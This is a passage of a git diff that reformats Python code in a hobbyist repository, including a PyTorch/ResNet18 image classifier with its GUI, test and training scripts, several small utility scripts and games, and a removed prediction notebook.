- epoch = checkpoint.get('epoch', 'Unknown')
- val_loss = checkpoint.get('best_val_loss', 'Unknown')
-
- val_loss_str = f"{val_loss:.4f}" if isinstance(val_loss, float) else str(val_loss)
-
+ epoch = checkpoint.get("epoch", "Unknown")
+ val_loss = checkpoint.get("best_val_loss", "Unknown")
+
+ val_loss_str = (
+ f"{val_loss:.4f}" if isinstance(val_loss, float) else str(val_loss)
+ )
+
info_text = f"""
Model: ResNet18
Dataset: {self.dataset_name.upper()}
@@ -430,57 +468,62 @@ def load_model(self):
Device: {self.device.upper()}
"""
self.model_info.setText(info_text.strip())
-
+
except Exception as e:
- self.model_status.setText(f'Error: {str(e)}')
- self.model_status.setStyleSheet('color: #f44336;')
-
+ self.model_status.setText(f"Error: {str(e)}")
+ self.model_status.setStyleSheet("color: #f44336;")
+
def predict_image(self):
image_path = self.image_path_input.text()
-
+
if not image_path or not os.path.exists(image_path):
- self.main_prediction.setText('Please select a valid image')
- self.main_prediction.setStyleSheet('color: #f44336;')
+ self.main_prediction.setText("Please select a valid image")
+ self.main_prediction.setStyleSheet("color: #f44336;")
return
-
+
if self.model is None:
- self.main_prediction.setText('Please load a model first')
- self.main_prediction.setStyleSheet('color: #f44336;')
+ self.main_prediction.setText("Please load a model first")
+ self.main_prediction.setStyleSheet("color: #f44336;")
return
-
+
self.predict_btn.setEnabled(False)
self.progress_bar.setVisible(True)
self.progress_bar.setRange(0, 0)
-
- self.prediction_thread = PredictionThread(self.model, image_path, self.classes, self.device)
+
+ self.prediction_thread = PredictionThread(
+ self.model, image_path, self.classes, self.device
+ )
self.prediction_thread.finished.connect(self.display_results)
self.prediction_thread.error.connect(self.display_error)
self.prediction_thread.start()
-
+
def display_results(self, predictions, confidences, main_prediction):
self.progress_bar.setVisible(False)
self.predict_btn.setEnabled(True)
-
- self.main_prediction.setText(f'🎯 {main_prediction}')
- self.main_prediction.setStyleSheet('color: #4CAF50; padding: 20px; font-size: 28px;')
-
- self.confidence_label.setText(f'Confidence: {confidences[0]:.2f}%')
-
- top5_text = 'Top-5 Predictions: '
+
+ self.main_prediction.setText(f"🎯 {main_prediction}")
+ self.main_prediction.setStyleSheet(
+ "color: #4CAF50; padding: 20px; font-size: 28px;"
+ )
+
+ self.confidence_label.setText(f"Confidence: {confidences[0]:.2f}%")
+
+ top5_text = "Top-5 Predictions: "
for i, (pred, conf) in enumerate(zip(predictions, confidences), 1):
bar_width = int(conf * 3)
- bar = '█' * bar_width
+ bar = "█" * bar_width
top5_text += f'{i}. {pred} '
top5_text += f'{bar} {conf:.2f}%
'
-
+
self.top5_display.setHtml(top5_text)
-
+
def display_error(self, error_msg):
self.progress_bar.setVisible(False)
self.predict_btn.setEnabled(True)
-
- self.main_prediction.setText(f'Error: {error_msg}')
- self.main_prediction.setStyleSheet('color: #f44336;')
+
+ self.main_prediction.setText(f"Error: {error_msg}")
+ self.main_prediction.setStyleSheet("color: #f44336;")
+
def main():
app = QApplication(sys.argv)
@@ -488,5 +531,6 @@ def main():
window.show()
sys.exit(app.exec())
-if __name__ == '__main__':
- main()
\ No newline at end of file
+
+if __name__ == "__main__":
+ main()
diff --git a/ML/tests/quick_test.py b/ML/tests/quick_test.py
index 7d89d2c36e7..e4a16c7b7f1 100644
--- a/ML/tests/quick_test.py
+++ b/ML/tests/quick_test.py
@@ -1,7 +1,7 @@
-import sys
import os
+import sys
-sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), ".."))
import torch
from src.python.neuralforge.data.datasets import get_dataset
@@ -13,7 +13,7 @@
print("\n[1/3] Testing CIFAR-10 dataset download...")
try:
- dataset = get_dataset('cifar10', root='./data', train=False, download=True)
+ dataset = get_dataset("cifar10", root="./data", train=False, download=True)
print(f"✓ CIFAR-10 loaded: {len(dataset)} samples")
print(f" Classes: {dataset.classes}")
except Exception as e:
diff --git a/ML/tests/test_model.py b/ML/tests/test_model.py
index b1fe00d72fa..a536a24d551 100644
--- a/ML/tests/test_model.py
+++ b/ML/tests/test_model.py
@@ -1,110 +1,127 @@
-import sys
import os
+import sys
-sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), ".."))
+import numpy as np
import torch
import torch.nn.functional as F
-from torchvision import transforms
from PIL import Image
-import numpy as np
-
-from src.python.neuralforge.data.datasets import get_dataset, get_num_classes, get_class_names
+from src.python.neuralforge.data.datasets import (
+ get_class_names,
+ get_dataset,
+ get_num_classes,
+)
from src.python.neuralforge.models.resnet import ResNet18
+from torchvision import transforms
+
class ModelTester:
- def __init__(self, model_path='./models/best_model.pt', dataset='cifar10', device='cuda'):
- self.device = device if torch.cuda.is_available() else 'cpu'
+ def __init__(
+ self, model_path="./models/best_model.pt", dataset="cifar10", device="cuda"
+ ):
+ self.device = device if torch.cuda.is_available() else "cpu"
self.dataset_name = dataset
-
+
print("=" * 60)
print(" NeuralForge - Interactive Model Testing")
print("=" * 60)
print(f"Device: {self.device}")
-
+
num_classes = get_num_classes(dataset)
self.model = self.create_model(num_classes)
-
+
if os.path.exists(model_path):
print(f"Loading model from: {model_path}")
- checkpoint = torch.load(model_path, map_location=self.device, weights_only=False)
- self.model.load_state_dict(checkpoint['model_state_dict'])
+ checkpoint = torch.load(
+ model_path, map_location=self.device, weights_only=False
+ )
+ self.model.load_state_dict(checkpoint["model_state_dict"])
print(f"Model loaded from epoch {checkpoint['epoch']}")
else:
print(f"Warning: No model found at {model_path}, using untrained model")
-
+
self.model.eval()
-
- test_dataset = get_dataset(dataset, root='./data', train=False, download=True)
+
+ test_dataset = get_dataset(dataset, root="./data", train=False, download=True)
self.dataset = test_dataset.dataset
self.classes = get_class_names(dataset)
-
- if dataset in ['mnist', 'fashion_mnist']:
+
+ if dataset in ["mnist", "fashion_mnist"]:
self.image_size = 28
- elif dataset in ['cifar10', 'cifar100']:
+ elif dataset in ["cifar10", "cifar100"]:
self.image_size = 32
- elif dataset == 'stl10':
+ elif dataset == "stl10":
self.image_size = 96
else:
self.image_size = 224
-
+
print(f"Dataset: {dataset} ({len(self.dataset)} test samples)")
print(f"Classes: {len(self.classes)}")
print("=" * 60)
-
+
def create_model(self, num_classes):
model = ResNet18(num_classes=num_classes)
return model.to(self.device)
-
+
def predict_image(self, image_tensor):
with torch.no_grad():
image_tensor = image_tensor.unsqueeze(0).to(self.device)
outputs = self.model(image_tensor)
probabilities = F.softmax(outputs, dim=1)
confidence, predicted = torch.max(probabilities, 1)
-
- top5_prob, top5_idx = torch.topk(probabilities, min(5, len(self.classes)), dim=1)
-
- return predicted.item(), confidence.item(), top5_idx[0].cpu().numpy(), top5_prob[0].cpu().numpy()
-
+
+ top5_prob, top5_idx = torch.topk(
+ probabilities, min(5, len(self.classes)), dim=1
+ )
+
+ return (
+ predicted.item(),
+ confidence.item(),
+ top5_idx[0].cpu().numpy(),
+ top5_prob[0].cpu().numpy(),
+ )
+
def test_random_samples(self, num_samples=10):
print(f"\nTesting {num_samples} random samples...")
print("-" * 60)
-
+
correct = 0
indices = np.random.choice(len(self.dataset), num_samples, replace=False)
-
+
for i, idx in enumerate(indices, 1):
image, label = self.dataset[idx]
pred_class, confidence, top5_idx, top5_prob = self.predict_image(image)
-
+
true_label = self.classes[label]
pred_label = self.classes[pred_class]
-
+
is_correct = pred_class == label
correct += is_correct
-
+
status = "✓" if is_correct else "✗"
- print(f"{i:2d}. {status} True: {true_label:15s} | Pred: {pred_label:15s} | Conf: {confidence:.2%}")
-
+ print(
+ f"{i:2d}. {status} True: {true_label:15s} | Pred: {pred_label:15s} | Conf: {confidence:.2%}"
+ )
+
if not is_correct:
- print(f" Top-5: ", end="")
+ print(" Top-5: ", end="")
for j, (idx, prob) in enumerate(zip(top5_idx, top5_prob)):
print(f"{self.classes[idx]}({prob:.1%})", end=" ")
print()
-
+
accuracy = correct / num_samples
print("-" * 60)
print(f"Accuracy: {accuracy:.1%} ({correct}/{num_samples})")
-
+
def test_specific_sample(self, index):
if index < 0 or index >= len(self.dataset):
- print(f"Error: Index must be between 0 and {len(self.dataset)-1}")
+ print(f"Error: Index must be between 0 and {len(self.dataset) - 1}")
return
-
+
image, label = self.dataset[index]
pred_class, confidence, top5_idx, top5_prob = self.predict_image(image)
-
+
print(f"\nSample #{index}")
print("-" * 60)
print(f"True Label: {self.classes[label]}")
@@ -114,54 +131,62 @@ def test_specific_sample(self, index):
print("\nTop-5 Predictions:")
for i, (idx, prob) in enumerate(zip(top5_idx, top5_prob), 1):
print(f" {i}. {self.classes[idx]:15s} {prob:.2%}")
-
+
def test_class_accuracy(self):
print("\nCalculating per-class accuracy...")
print("-" * 60)
-
+
class_correct = [0] * len(self.classes)
class_total = [0] * len(self.classes)
-
+
with torch.no_grad():
for i, (image, label) in enumerate(self.dataset):
pred_class, _, _, _ = self.predict_image(image)
class_total[label] += 1
if pred_class == label:
class_correct[label] += 1
-
+
if (i + 1) % 100 == 0:
- print(f"Processed {i + 1}/{len(self.dataset)} samples...", end='\r')
-
- print(" " * 60, end='\r')
+ print(f"Processed {i + 1}/{len(self.dataset)} samples...", end="\r")
+
+ print(" " * 60, end="\r")
print("Per-class Accuracy:")
-
+
overall_correct = sum(class_correct)
overall_total = sum(class_total)
-
+
for i, class_name in enumerate(self.classes):
if class_total[i] > 0:
acc = 100.0 * class_correct[i] / class_total[i]
- print(f" {class_name:15s}: {acc:5.1f}% ({class_correct[i]}/{class_total[i]})")
-
+ print(
+ f" {class_name:15s}: {acc:5.1f}% ({class_correct[i]}/{class_total[i]})"
+ )
+
print("-" * 60)
- print(f"Overall Accuracy: {100.0 * overall_correct / overall_total:.2f}% ({overall_correct}/{overall_total})")
-
+ print(
+ f"Overall Accuracy: {100.0 * overall_correct / overall_total:.2f}% ({overall_correct}/{overall_total})"
+ )
+
def test_custom_image(self, image_path):
if not os.path.exists(image_path):
print(f"Error: Image not found at {image_path}")
return
-
+
try:
- image = Image.open(image_path).convert('RGB')
-
- transform = transforms.Compose([
- transforms.Resize((self.image_size, self.image_size)),
- transforms.ToTensor(),
- ])
-
+ image = Image.open(image_path).convert("RGB")
+
+ transform = transforms.Compose(
+ [
+ transforms.Resize((self.image_size, self.image_size)),
+ transforms.ToTensor(),
+ ]
+ )
+
image_tensor = transform(image)
- pred_class, confidence, top5_idx, top5_prob = self.predict_image(image_tensor)
-
+ pred_class, confidence, top5_idx, top5_prob = self.predict_image(
+ image_tensor
+ )
+
print(f"\nCustom Image: {image_path}")
print("-" * 60)
print(f"Predicted: {self.classes[pred_class]}")
@@ -169,10 +194,10 @@ def test_custom_image(self, image_path):
print("\nTop-5 Predictions:")
for i, (idx, prob) in enumerate(zip(top5_idx, top5_prob), 1):
print(f" {i}. {self.classes[idx]:15s} {prob:.2%}")
-
+
except Exception as e:
print(f"Error loading image: {e}")
-
+
def interactive_mode(self):
print("\n" + "=" * 60)
print(" Interactive Mode")
@@ -185,81 +210,109 @@ def interactive_mode(self):
print(" help - Show this help")
print(" exit - Exit interactive mode")
print()
-
+
while True:
try:
command = input(">>> ").strip().lower()
-
+
if not command:
continue
-
- if command == 'exit' or command == 'quit':
+
+ if command == "exit" or command == "quit":
print("Exiting...")
break
-
- elif command == 'help':
+
+ elif command == "help":
self.interactive_mode()
return
-
- elif command.startswith('random'):
+
+ elif command.startswith("random"):
parts = command.split()
n = int(parts[1]) if len(parts) > 1 else 10
self.test_random_samples(n)
-
- elif command.startswith('sample'):
+
+ elif command.startswith("sample"):
parts = command.split()
if len(parts) < 2:
print("Usage: sample ")
else:
idx = int(parts[1])
self.test_specific_sample(idx)
-
- elif command.startswith('image'):
+
+ elif command.startswith("image"):
parts = command.split(maxsplit=1)
if len(parts) < 2:
print("Usage: image ")
else:
self.test_custom_image(parts[1])
-
- elif command == 'accuracy':
+
+ elif command == "accuracy":
self.test_class_accuracy()
-
+
else:
print(f"Unknown command: {command}")
print("Type 'help' for available commands")
-
+
except KeyboardInterrupt:
print("\nExiting...")
break
except Exception as e:
print(f"Error: {e}")
+
def main():
import argparse
-
- parser = argparse.ArgumentParser(description='Test trained NeuralForge model')
-
- default_model = os.path.join(os.path.dirname(__file__), '..', 'models', 'best_model.pt')
- parser.add_argument('--model', type=str, default=default_model, help='Path to model checkpoint')
- parser.add_argument('--dataset', type=str, default='cifar10',
- choices=['cifar10', 'cifar100', 'mnist', 'fashion_mnist', 'stl10',
- 'tiny_imagenet', 'imagenet', 'food101', 'caltech256', 'oxford_pets'],
- help='Dataset to test on')
- parser.add_argument('--device', type=str, default='cuda', help='Device to use')
- parser.add_argument('--mode', type=str, default='interactive',
- choices=['interactive', 'random', 'accuracy'],
- help='Testing mode')
- parser.add_argument('--samples', type=int, default=10, help='Number of samples for random mode')
+
+ parser = argparse.ArgumentParser(description="Test trained NeuralForge model")
+
+ default_model = os.path.join(
+ os.path.dirname(__file__), "..", "models", "best_model.pt"
+ )
+ parser.add_argument(
+ "--model", type=str, default=default_model, help="Path to model checkpoint"
+ )
+ parser.add_argument(
+ "--dataset",
+ type=str,
+ default="cifar10",
+ choices=[
+ "cifar10",
+ "cifar100",
+ "mnist",
+ "fashion_mnist",
+ "stl10",
+ "tiny_imagenet",
+ "imagenet",
+ "food101",
+ "caltech256",
+ "oxford_pets",
+ ],
+ help="Dataset to test on",
+ )
+ parser.add_argument("--device", type=str, default="cuda", help="Device to use")
+ parser.add_argument(
+ "--mode",
+ type=str,
+ default="interactive",
+ choices=["interactive", "random", "accuracy"],
+ help="Testing mode",
+ )
+ parser.add_argument(
+ "--samples", type=int, default=10, help="Number of samples for random mode"
+ )
args = parser.parse_args()
-
- tester = ModelTester(model_path=args.model, dataset=args.dataset, device=args.device)
-
- if args.mode == 'interactive':
+
+ tester = ModelTester(
+ model_path=args.model, dataset=args.dataset, device=args.device
+ )
+
+ if args.mode == "interactive":
tester.interactive_mode()
- elif args.mode == 'random':
+ elif args.mode == "random":
tester.test_random_samples(args.samples)
- elif args.mode == 'accuracy':
+ elif args.mode == "accuracy":
tester.test_class_accuracy()
-if __name__ == '__main__':
+
+if __name__ == "__main__":
main()
diff --git a/ML/train.py b/ML/train.py
index 66f0be14e36..7e49bb2e161 100644
--- a/ML/train.py
+++ b/ML/train.py
@@ -1,21 +1,20 @@
-import torch
-import torch.nn as nn
-import torch.optim as optim
import argparse
import os
import random
-import numpy as np
-from src.python.neuralforge import nn as nf_nn
+import numpy as np
+import torch
+import torch.nn as nn
+import torch.optim as optim
from src.python.neuralforge import optim as nf_optim
-from src.python.neuralforge.trainer import Trainer
from src.python.neuralforge.config import Config
-from src.python.neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder
+from src.python.neuralforge.data.dataset import DataLoaderBuilder, SyntheticDataset
from src.python.neuralforge.data.datasets import get_dataset, get_num_classes
-from src.python.neuralforge.data.transforms import get_transforms
from src.python.neuralforge.models.resnet import ResNet18
+from src.python.neuralforge.trainer import Trainer
from src.python.neuralforge.utils.logger import Logger
+
def set_seed(seed):
random.seed(seed)
np.random.seed(seed)
@@ -24,44 +23,67 @@ def set_seed(seed):
torch.backends.cudnn.deterministic = True
torch.backends.cudnn.benchmark = False
+
def create_simple_model(num_classes=10):
return nn.Sequential(
nn.Conv2d(3, 32, 3, padding=1),
nn.BatchNorm2d(32),
nn.ReLU(inplace=True),
nn.MaxPool2d(2),
-
nn.Conv2d(32, 64, 3, padding=1),
nn.BatchNorm2d(64),
nn.ReLU(inplace=True),
nn.MaxPool2d(2),
-
nn.Conv2d(64, 128, 3, padding=1),
nn.BatchNorm2d(128),
nn.ReLU(inplace=True),
nn.AdaptiveAvgPool2d(1),
-
nn.Flatten(),
- nn.Linear(128, num_classes)
+ nn.Linear(128, num_classes),
)
+
def main():
- parser = argparse.ArgumentParser(description='NeuralForge Training')
- parser.add_argument('--config', type=str, default=None, help='Path to config file')
- parser.add_argument('--model', type=str, default='simple', choices=['simple', 'resnet18', 'efficientnet', 'vit'])
- parser.add_argument('--batch-size', type=int, default=32)
- parser.add_argument('--epochs', type=int, default=50)
- parser.add_argument('--lr', type=float, default=0.001)
- parser.add_argument('--device', type=str, default='cuda' if torch.cuda.is_available() else 'cpu')
- parser.add_argument('--num-samples', type=int, default=5000, help='Number of synthetic samples')
- parser.add_argument('--num-classes', type=int, default=10)
- parser.add_argument('--seed', type=int, default=42)
- parser.add_argument('--dataset', type=str, default='synthetic',
- choices=['synthetic', 'cifar10', 'cifar100', 'mnist', 'fashion_mnist', 'stl10',
- 'tiny_imagenet', 'imagenet', 'food101', 'caltech256', 'oxford_pets'],
- help='Dataset to use')
+ parser = argparse.ArgumentParser(description="NeuralForge Training")
+ parser.add_argument("--config", type=str, default=None, help="Path to config file")
+ parser.add_argument(
+ "--model",
+ type=str,
+ default="simple",
+ choices=["simple", "resnet18", "efficientnet", "vit"],
+ )
+ parser.add_argument("--batch-size", type=int, default=32)
+ parser.add_argument("--epochs", type=int, default=50)
+ parser.add_argument("--lr", type=float, default=0.001)
+ parser.add_argument(
+ "--device", type=str, default="cuda" if torch.cuda.is_available() else "cpu"
+ )
+ parser.add_argument(
+ "--num-samples", type=int, default=5000, help="Number of synthetic samples"
+ )
+ parser.add_argument("--num-classes", type=int, default=10)
+ parser.add_argument("--seed", type=int, default=42)
+ parser.add_argument(
+ "--dataset",
+ type=str,
+ default="synthetic",
+ choices=[
+ "synthetic",
+ "cifar10",
+ "cifar100",
+ "mnist",
+ "fashion_mnist",
+ "stl10",
+ "tiny_imagenet",
+ "imagenet",
+ "food101",
+ "caltech256",
+ "oxford_pets",
+ ],
+ help="Dataset to use",
+ )
args = parser.parse_args()
-
+
if args.config:
config = Config.load(args.config)
else:
@@ -72,106 +94,107 @@ def main():
config.device = args.device
config.num_classes = args.num_classes
config.seed = args.seed
-
+
set_seed(config.seed)
-
+
logger = Logger(config.log_dir, "training")
logger.info("=" * 80)
logger.info("NeuralForge Training Framework")
logger.info("=" * 80)
logger.info(f"Configuration:\n{config}")
-
- if args.dataset == 'synthetic':
+
+ if args.dataset == "synthetic":
logger.info("Creating synthetic dataset...")
train_dataset = SyntheticDataset(
num_samples=args.num_samples,
num_classes=config.num_classes,
image_size=config.image_size,
- channels=3
+ channels=3,
)
-
+
val_dataset = SyntheticDataset(
num_samples=args.num_samples // 5,
num_classes=config.num_classes,
image_size=config.image_size,
- channels=3
+ channels=3,
)
else:
logger.info(f"Downloading and loading {args.dataset} dataset...")
config.num_classes = get_num_classes(args.dataset)
-
- train_dataset = get_dataset(args.dataset, root=config.data_path, train=True, download=True)
- val_dataset = get_dataset(args.dataset, root=config.data_path, train=False, download=True)
-
- if args.dataset in ['mnist', 'fashion_mnist']:
+
+ train_dataset = get_dataset(
+ args.dataset, root=config.data_path, train=True, download=True
+ )
+ val_dataset = get_dataset(
+ args.dataset, root=config.data_path, train=False, download=True
+ )
+
+ if args.dataset in ["mnist", "fashion_mnist"]:
config.image_size = 28
- elif args.dataset in ['cifar10', 'cifar100']:
+ elif args.dataset in ["cifar10", "cifar100"]:
config.image_size = 32
- elif args.dataset == 'tiny_imagenet':
+ elif args.dataset == "tiny_imagenet":
config.image_size = 64
- elif args.dataset == 'stl10':
+ elif args.dataset == "stl10":
config.image_size = 96
- elif args.dataset in ['imagenet', 'food101', 'caltech256', 'oxford_pets']:
+ elif args.dataset in ["imagenet", "food101", "caltech256", "oxford_pets"]:
config.image_size = 224
-
+
loader_builder = DataLoaderBuilder(config)
train_loader = loader_builder.build_train_loader(train_dataset)
val_loader = loader_builder.build_val_loader(val_dataset)
-
+
logger.info(f"Train dataset size: {len(train_dataset)}")
logger.info(f"Validation dataset size: {len(val_dataset)}")
-
+
logger.info(f"Creating model: {args.model}")
- if args.model == 'simple':
+ if args.model == "simple":
model = create_simple_model(config.num_classes)
- elif args.model == 'resnet18':
+ elif args.model == "resnet18":
model = ResNet18(num_classes=config.num_classes)
else:
model = create_simple_model(config.num_classes)
-
+
logger.log_model_summary(model)
-
+
criterion = nn.CrossEntropyLoss()
-
- if config.optimizer.lower() == 'adamw':
+
+ if config.optimizer.lower() == "adamw":
optimizer = nf_optim.AdamW(
model.parameters(),
lr=config.learning_rate,
- weight_decay=config.weight_decay
+ weight_decay=config.weight_decay,
)
- elif config.optimizer.lower() == 'adam':
+ elif config.optimizer.lower() == "adam":
optimizer = optim.Adam(
model.parameters(),
lr=config.learning_rate,
- weight_decay=config.weight_decay
+ weight_decay=config.weight_decay,
)
else:
optimizer = optim.SGD(
model.parameters(),
lr=config.learning_rate,
momentum=0.9,
- weight_decay=config.weight_decay
+ weight_decay=config.weight_decay,
)
-
- if config.scheduler == 'cosine':
+
+ if config.scheduler == "cosine":
scheduler = nf_optim.CosineAnnealingWarmRestarts(
- optimizer,
- T_0=10,
- T_mult=2,
- eta_min=1e-6
+ optimizer, T_0=10, T_mult=2, eta_min=1e-6
)
- elif config.scheduler == 'onecycle':
+ elif config.scheduler == "onecycle":
scheduler = nf_optim.OneCycleLR(
optimizer,
max_lr=config.learning_rate,
- total_steps=config.epochs * len(train_loader)
+ total_steps=config.epochs * len(train_loader),
)
else:
scheduler = None
-
+
logger.info(f"Optimizer: {config.optimizer}")
logger.info(f"Scheduler: {config.scheduler}")
-
+
trainer = Trainer(
model=model,
train_loader=train_loader,
@@ -180,17 +203,18 @@ def main():
criterion=criterion,
config=config,
scheduler=scheduler,
- device=config.device
+ device=config.device,
)
-
+
logger.info("Starting training...")
trainer.train()
-
+
logger.info("Training completed successfully!")
logger.info(f"Best validation loss: {trainer.best_val_loss:.4f}")
-
- config.save(os.path.join(config.log_dir, 'config.json'))
+
+ config.save(os.path.join(config.log_dir, "config.json"))
logger.info(f"Configuration saved to {os.path.join(config.log_dir, 'config.json')}")
-if __name__ == '__main__':
+
+if __name__ == "__main__":
main()
diff --git a/Memory_game.py b/Memory_game.py
index 2b320623a92..85246c09087 100644
--- a/Memory_game.py
+++ b/Memory_game.py
@@ -1,7 +1,8 @@
import random
-import pygame
import sys
+import pygame
+
# Initialisation de pygame
pygame.init()
diff --git a/Merge_linked_list.py b/Merge_linked_list.py
index b5b38a7a132..667148ee0e3 100644
--- a/Merge_linked_list.py
+++ b/Merge_linked_list.py
@@ -1,6 +1,7 @@
# Python3 program merge two sorted linked
# in third linked list using recursive.
+
# Node class
class Node:
def __init__(self, data):
diff --git a/Model Usage.ipynb b/Model Usage.ipynb
deleted file mode 100644
index fbc01ccc46c..00000000000
--- a/Model Usage.ipynb
+++ /dev/null
@@ -1,84 +0,0 @@
-{
- "cells": [
- {
- "cell_type": "code",
- "execution_count": 1,
- "metadata": {},
- "outputs": [],
- "source": [
- "from joblib import load\n",
- "import numpy as np\n",
- "\n",
- "model = load(\"HousingPricePredicter.joblib\")"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 2,
- "metadata": {},
- "outputs": [],
- "source": [
- "features = np.array(\n",
- " [\n",
- " [\n",
- " -0.43942006,\n",
- " 3.12628155,\n",
- " -1.12165014,\n",
- " -0.27288841,\n",
- " -1.42262747,\n",
- " -0.24141041,\n",
- " -1.31238772,\n",
- " 2.61111401,\n",
- " -1.0016859,\n",
- " -0.5778192,\n",
- " -0.97491834,\n",
- " 0.41164221,\n",
- " -0.86091034,\n",
- " ]\n",
- " ]\n",
- ")"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 3,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "array([22.508])"
- ]
- },
- "execution_count": 3,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "model.predict(features)"
- ]
- }
- ],
- "metadata": {
- "kernelspec": {
- "display_name": "Python 3",
- "language": "python",
- "name": "python3"
- },
- "language_info": {
- "codemirror_mode": {
- "name": "ipython",
- "version": 3
- },
- "file_extension": ".py",
- "mimetype": "text/x-python",
- "name": "python",
- "nbconvert_exporter": "python",
- "pygments_lexer": "ipython3",
- "version": "3.8.2"
- }
- },
- "nbformat": 4,
- "nbformat_minor": 4
-}
diff --git a/Mp3_media_player.py b/Mp3_media_player.py
index 1a778d4da66..b37df175e4a 100644
--- a/Mp3_media_player.py
+++ b/Mp3_media_player.py
@@ -1,10 +1,10 @@
# its very amazing
import os
+from tkinter import *
from tkinter.filedialog import askdirectory
import pygame
from mutagen.id3 import ID3
-from tkinter import *
root = Tk()
root.minsize(300, 300)
diff --git a/Multiply.py b/Multiply.py
index 8d4121cfe56..2d604402d9d 100644
--- a/Multiply.py
+++ b/Multiply.py
@@ -2,7 +2,7 @@ def product(a, b):
# Handle negative values
if b < 0:
return -product(a, -b)
-
+
if a < b:
return product(b, a)
elif b != 0:
diff --git a/MySQL_Databses.py b/MySQL_Databses.py
index 226a20e742c..4e1a795d72d 100644
--- a/MySQL_Databses.py
+++ b/MySQL_Databses.py
@@ -1,4 +1,5 @@
import mysql.connector
+
# MySQl databses details
host = input("Enter MySQL host: ")
username = input("Enter MySQL username: ")
diff --git a/News_App/Newsapp.py b/News_App/Newsapp.py
index 5580bd24530..c3833cde792 100644
--- a/News_App/Newsapp.py
+++ b/News_App/Newsapp.py
@@ -1,9 +1,10 @@
+from datetime import datetime as date
+from datetime import timedelta
+
import solara as sr
import yfinance as yf
-
from patterns import Company_Name
-from datetime import datetime as date, timedelta
srart_date = date.today()
end_date = date.today() + timedelta(days=1)
diff --git a/NumberToNumberName/numbername.py b/NumberToNumberName/numbername.py
index 8eae393db6b..a0e0fcc008b 100644
--- a/NumberToNumberName/numbername.py
+++ b/NumberToNumberName/numbername.py
@@ -2,7 +2,7 @@
# Eg:
# 61893: Sixty One Thousand Eight Hundred Ninety Three
-__import__('os').system('cls')
+__import__("os").system("cls")
Y = "\033[38;2;255;200;0m"
@@ -14,30 +14,59 @@
nameList = []
numDict = {
- 1 : "One", 2 : "Two", 3 : "Three", 4 : "Four", 5 : "Five",
- 6 : "Six", 7 : "Seven", 8 : "Eight", 9 : "Nine", 10 : "Ten",
- 11 : "Eleven", 12 : "Twelve", 13 : "Thirteen", 14 : "Fourteen", 15 : "Fifteen",
- 16 : "Sixteen", 17 : "Seventeen", 18 : "Eighteen", 19 : "Ninteen", 20 : "Twenty",
- 30 : "Thirty", 40 : "Forty", 50 : "Fifty", 60 : "Sixty", 70 : "Seventy",
- 80 : "Eighty", 90 : "Ninety"
+ 1: "One",
+ 2: "Two",
+ 3: "Three",
+ 4: "Four",
+ 5: "Five",
+ 6: "Six",
+ 7: "Seven",
+ 8: "Eight",
+ 9: "Nine",
+ 10: "Ten",
+ 11: "Eleven",
+ 12: "Twelve",
+ 13: "Thirteen",
+ 14: "Fourteen",
+ 15: "Fifteen",
+ 16: "Sixteen",
+ 17: "Seventeen",
+ 18: "Eighteen",
+ 19: "Ninteen",
+ 20: "Twenty",
+ 30: "Thirty",
+ 40: "Forty",
+ 50: "Fifty",
+ 60: "Sixty",
+ 70: "Seventy",
+ 80: "Eighty",
+ 90: "Ninety",
}
digits = {
- "1" : "One", "2" : "Two", "3" : "Three", "4" : "Four", "5" : "Five",
- "6" : "Six", "7" : "Seven", "8" : "Eight", "9" : "Nine", "0" : "Zero"
+ "1": "One",
+ "2": "Two",
+ "3": "Three",
+ "4": "Four",
+ "5": "Five",
+ "6": "Six",
+ "7": "Seven",
+ "8": "Eight",
+ "9": "Nine",
+ "0": "Zero",
}
placeValueDict = {
- 1 : "",
- 2 : "Thousand",
- 3 : "Million",
- 4 : "Billion",
- 5 : "Trillion",
- 6 : "Quadrillion",
- 7 : "Quintillion",
- 8 : "Sextillion",
- 9 : "Septilion",
- 10 : "Octillion"
+ 1: "",
+ 2: "Thousand",
+ 3: "Million",
+ 4: "Billion",
+ 5: "Trillion",
+ 6: "Quadrillion",
+ 7: "Quintillion",
+ 8: "Sextillion",
+ 9: "Septilion",
+ 10: "Octillion",
}
print("Maximum Input: 999,999,999,999,999,999,999,999,999,999")
@@ -46,96 +75,99 @@
isNegative = False
while True:
- num = input(f"Enter a number: {Y}")
- print(f"{W}", end="")
+ num = input(f"Enter a number: {Y}")
+ print(f"{W}", end="")
+
+ try:
+ splittedNum = num.split(".")
+
+ splittedNum[0] = splittedNum[0].replace(" ", "")
+ if len(splittedNum) == 2:
+ splittedNum[1] = splittedNum[1].replace(" ", "")
+ splittedNum[1] = splittedNum[1].rstrip("0")
+
+ if splittedNum[1] == "":
+ splittedNum.remove("")
+
+ num = int(splittedNum[0])
+
+ if len(splittedNum) == 1:
+ placeholder = splittedNum[0]
+ placeholder = int(placeholder)
+ else:
+ placeholder = splittedNum[0] + "." + splittedNum[1]
+ placeholder = float(placeholder)
+
+ if (
+ num >= 1000000000000000000000000000000
+ or num <= -1000000000000000000000000000000
+ ):
+ print("Input out of range\n")
+ else:
+ if num < 0:
+ isNegative = True
+ num = num * (-1)
+ break
+ except ValueError or EOFError:
+ print("Invalid Input\n")
- try:
- splittedNum = num.split(".")
- splittedNum[0] = splittedNum[0].replace(" ", "")
- if len(splittedNum) == 2:
- splittedNum[1] = splittedNum[1].replace(" ", "")
- splittedNum[1] = splittedNum[1].rstrip("0")
+if num == 0:
+ print(f"0 in words is: {Y}Zero{W}")
+else:
+ while num > 0:
+ groupedList.append(num % 1000)
+ num //= 1000
- if splittedNum[1] == "":
- splittedNum.remove("")
+ groupedList.reverse()
- num = int(splittedNum[0])
+ for i in groupedList:
+ if i != 0:
+ if i >= 100:
+ name = name + numDict[int(i / 100)] + " Hundred"
+ i = i % 100
- if len(splittedNum) == 1:
- placeholder = splittedNum[0]
- placeholder = int(placeholder)
+ if i >= 20:
+ if name == "":
+ name = name + numDict[i - (i % 10)]
else:
- placeholder = splittedNum[0] + "." + splittedNum[1]
- placeholder = float(placeholder)
+ name = name + " " + numDict[i - (i % 10)]
